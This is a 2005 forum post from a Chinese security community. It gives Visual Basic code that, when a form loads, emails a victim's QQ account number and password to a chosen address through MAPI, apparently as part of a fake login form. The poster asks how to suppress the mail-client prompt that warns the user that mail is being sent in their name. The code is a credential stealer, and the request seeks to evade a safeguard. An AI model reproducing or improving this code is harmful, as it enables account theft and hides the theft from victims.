|
 | 作者: zeropj [zeropj]
 论坛用户 |
登录 |
| 代码如下: Private Sub Form_Load() 'm1是MAPISession 'm2是MAPIMessages On Error GoTo err1 m1.SignOn m2.SessionID = m1.SessionID m2.Compose m2.RecipDisplayName = addr '目标地址 m2.AddressResolveUI = True m2.MsgSubject = "QQ号"&qqhao '标题 content = "QQ号:" & qqhao & "QQ密码:" & qqmm m2.MsgNoteText = content '内容 m2.Send False m1.SignOff err1: Form3.Hide Form4.Show End Sub 可是每次运行时,就会有提示出来,某某正在以你的名字发送邮件!!! 能不能改一下,让它不会有这样的提示!!!! |
| 地主 发表时间: 05-09-18 20:38 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 编程破解
标题: VB中的邮件发送!!!!